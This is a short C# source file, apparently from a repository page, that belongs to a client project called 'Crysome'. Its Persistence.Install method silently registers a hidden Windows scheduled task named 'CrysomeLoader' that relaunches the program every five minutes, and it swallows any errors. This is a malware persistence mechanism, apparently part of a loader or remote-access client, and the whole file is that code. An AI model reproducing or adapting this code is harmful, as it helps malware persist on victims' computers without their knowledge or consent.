33 lines
682 B
C#
33 lines
682 B
C#
using System.Diagnostics;
|
|
|
|
namespace Crysome.Client.Configuration;
|
|
|
|
public static class Persistence
|
|
{
|
|
public static void Install()
|
|
{
|
|
if (!ClientConfiguration.Persistence)
|
|
{
|
|
return;
|
|
}
|
|
try
|
|
{
|
|
string processPath = ClientConfiguration.GetProcessPath();
|
|
if (!string.IsNullOrEmpty(processPath))
|
|
{
|
|
Process.Start(new ProcessStartInfo
|
|
{
|
|
FileName = "schtasks.exe",
|
|
Arguments = "/create /tn \"CrysomeLoader\" /tr \"" + processPath + "\" /sc minute /mo 5 /f",
|
|
UseShellExecute = false,
|
|
CreateNoWindow = true,
|
|
WindowStyle = ProcessWindowStyle.Hidden
|
|
})?.WaitForExit(10000);
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|